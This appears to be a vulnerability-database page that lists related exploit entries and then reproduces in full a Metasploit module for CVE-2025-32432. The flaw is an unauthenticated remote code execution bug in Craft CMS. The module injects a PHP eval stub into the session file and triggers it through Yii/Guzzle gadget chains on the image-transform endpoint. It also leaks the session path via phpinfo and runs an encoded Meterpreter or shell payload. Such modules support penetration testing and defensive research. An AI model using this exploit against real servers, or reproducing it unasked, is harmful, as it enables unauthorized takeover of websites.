| Reporter | Title | Published | Views | Family All 41 |
|---|---|---|---|---|
| Exploit for Code Injection in Craftcms Craft_Cms | 23 Sep 202506:23 | – | githubexploit | |
| Exploit for Code Injection in Craftcms Craft_Cms | 16 Jul 202509:23 | – | githubexploit | |
| Exploit for Code Injection in Craftcms Craft_Cms | 15 May 202614:09 | – | githubexploit | |
| Exploit for Code Injection in Craftcms Craft_Cms | 8 Mar 202616:59 | – | githubexploit | |
| Exploit for Code Injection in Craftcms Craft_Cms | 30 Apr 202603:38 | – | githubexploit | |
| Exploit for Code Injection in Craftcms Craft_Cms | 27 Apr 202508:50 | – | githubexploit | |
| CVE-2024-58136 | 10 Apr 202500:00 | – | attackerkb | |
| CVE-2025-32432 | 25 Apr 202515:15 | – | attackerkb | |
| CVE-2025-32432 | 25 Apr 202515:45 | – | circl | |
| Yiiframework Yii Improper Protection of Alternate Path Vulnerability | 2 May 202500:00 | – | cisa_kev |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Payload::Php
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Craft CMS Image Transform Preauth RCE (CVE-2025-32432)',
'Description' => %q{
This module exploits an unauthenticated remote code execution vulnerability
in Craft CMS versions 3.x, 4.x, and 5.x < 5.6.17 via the image transform endpoint.
It injects a PHP Meterpreter payload into the Craft session, then triggers its execution
by abusing the Yii behavior gadget chain (PhpManager) on the generate-transform endpoint.
Discovered in the wild by Orange Cyberdefense CSIRT and assigned CVE-2025-32432.
},
'Author' => [
'Nicolas Bourras (Orange Cyberdefense)', # Research + PoC
'Valentin Lobstein' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2025-32432' ],
[ 'URL', 'https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/' ],
[ 'URL', 'https://blog.onyphe.io/en/cve-2025-32432-0day-craft-cms-discovered-by-orange-cyberdefense/' ]
],
'Platform' => %w[php unix linux],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %(unix linux),
'Arch' => ARCH_CMD
}
],
],
'Privileged' => false,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
},
'DisclosureDate' => '2025-04-14',
'DefaultTarget' => 0
)
)
register_options([
OptInt.new('ASSET_ID', [true, 'Existing asset ID', Rex::Text.rand_text_numeric(2..3)])
])
end
def execute_via_session(payload)
session_id, csrf, param_name = fetch_cookies_and_csrf
return nil unless csrf
vprint_status("Session ID: #{session_id} – stub injected under param #{param_name}")
session_dir = @session_path || '/var/lib/php/sessions'
session_file = normalize_uri(session_dir, "sess_#{session_id}")
body = {
assetId: datastore['ASSET_ID'],
handle: {
width: Rex::Text.rand_text_numeric(1..5),
height: Rex::Text.rand_text_numeric(1..5),
"as #{Rex::Text.rand_text_alphanumeric(1..8)}" => {
class: 'craft\\behaviors\\FieldLayoutBehavior',
__class: 'yii\\rbac\\PhpManager',
'__construct()' => [
{ itemFile: session_file }
]
}
}
}.to_json
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'p' => 'actions/assets/generate-transform',
param_name => payload
},
'headers' => { 'X-CSRF-Token' => csrf },
'ctype' => 'application/json',
'data' => body,
'keep_cookies' => true
)
end
def fetch_cookies_and_csrf
param_name = Rex::Text.rand_text_alphanumeric(5..12)
static_stub = "<?=eval($_GET['#{param_name}']);die()?>"
params = {
'p' => 'admin/dashboard',
param_name => static_stub
}
cookie_jar.clear
res = send_request_cgi(
'method' => 'GET',
'uri_encode_mode' => 'none',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => params
)
return nil unless res
session_id = res.get_cookies[/CraftSessionId=([^;]+)/, 1]
return nil if session_id.to_s.empty?
if res.code == 302 && res.headers['Location']
res = send_request_cgi(
'method' => 'GET',
'uri' => res.headers['Location'],
'keep_cookies' => true
)
end
csrf = extract_csrf_token(res)
return nil unless csrf
[session_id, csrf, param_name]
end
def extract_csrf_token(res)
doc = res.get_html_document
token = doc.at('//input[@name="CRAFT_CSRF_TOKEN"]/@value')&.text
return token unless token.to_s.empty?
vprint_status('CSRF not found in dashboard, falling back to root')
res2 = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true
)
res2&.get_html_document&.at('//input[@name="CRAFT_CSRF_TOKEN"]/@value')&.text
end
def leak_session_path(csrf)
res = send_transform(csrf, datastore['ASSET_ID'], 'phpinfo')
return nil unless res&.body
doc = res.get_html_document
path = doc.at_xpath(
"//tr[td[@class='e' and normalize-space(text())='session.save_path']]/td[@class='v']"
)&.text
path ||= doc.at_xpath(
"//h2[normalize-space(text())='Session Save Path']/following-sibling::p[1]"
)&.text
path&.strip
end
def send_transform(csrf, asset_id, php_string)
json_data = {
'assetId' => asset_id,
'handle' => {
'width' => Rex::Text.rand_text_numeric(1..5),
'height' => Rex::Text.rand_text_numeric(1..5),
"as #{Rex::Text.rand_text_alphanumeric(1..8)}" => {
'class' => 'craft\\behaviors\\FieldLayoutBehavior',
'__class' => 'GuzzleHttp\\Psr7\\FnStream',
'__construct()' => [[]],
'_fn_close' => php_string
}
}
}.to_json
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => { 'p' => 'admin/actions/assets/generate-transform' },
'ctype' => 'application/json',
'headers' => { 'X-CSRF-Token' => csrf },
'data' => json_data
)
end
def check
_, csrf, = fetch_cookies_and_csrf
return CheckCode::Unknown('Could not retrieve session & CSRF') unless csrf
if (path = leak_session_path(csrf))
@session_path = path
print_good("Leaked session.save_path: #{@session_path}")
return CheckCode::Vulnerable('Session path leaked')
end
a = Rex::Text.rand_text_numeric(4).to_i
b = Rex::Text.rand_text_numeric(4).to_i
expr = "#{a}+#{b}"
sum = a + b
print_status("Checking RCE: #{expr}")
payload = "print_r(#{expr});"
res = execute_via_session(payload)
return CheckCode::Unknown('No response') unless res
if res.body.include?(sum.to_s)
CheckCode::Vulnerable("Detected RCE: send #{a}+#{b}, got #{sum}!")
else
CheckCode::Safe('Unable to exercise code execution.')
end
end
def exploit
raw = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
b64 = Rex::Text.encode_base64(raw)
payload_code = "eval(base64_decode('#{b64}'));"
print_status('Injecting stub & triggering payload...')
execute_via_session(payload_code)
end
def php_exec_cmd(encoded_payload)
gen = Rex::RandomIdentifier::Generator.new
disabled_var = "$#{gen[:dis]}"
b64 = Rex::Text.encode_base64(encoded_payload)
<<~PHP
#{php_preamble(disabled_varname: disabled_var)}
$c=base64_decode("#{b64}");
#{php_system_block(cmd_varname: '$c', disabled_varname: disabled_var)}
PHP
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation